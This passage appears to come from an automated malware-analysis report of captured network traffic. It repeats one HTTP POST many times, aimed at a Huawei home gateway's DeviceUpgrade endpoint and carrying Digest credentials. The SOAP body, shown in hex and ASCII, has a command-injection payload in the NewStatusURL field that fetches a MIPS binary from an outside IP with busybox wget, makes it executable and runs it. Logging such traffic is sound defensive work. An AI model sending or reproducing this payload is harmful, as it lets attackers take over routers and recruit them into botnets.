3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 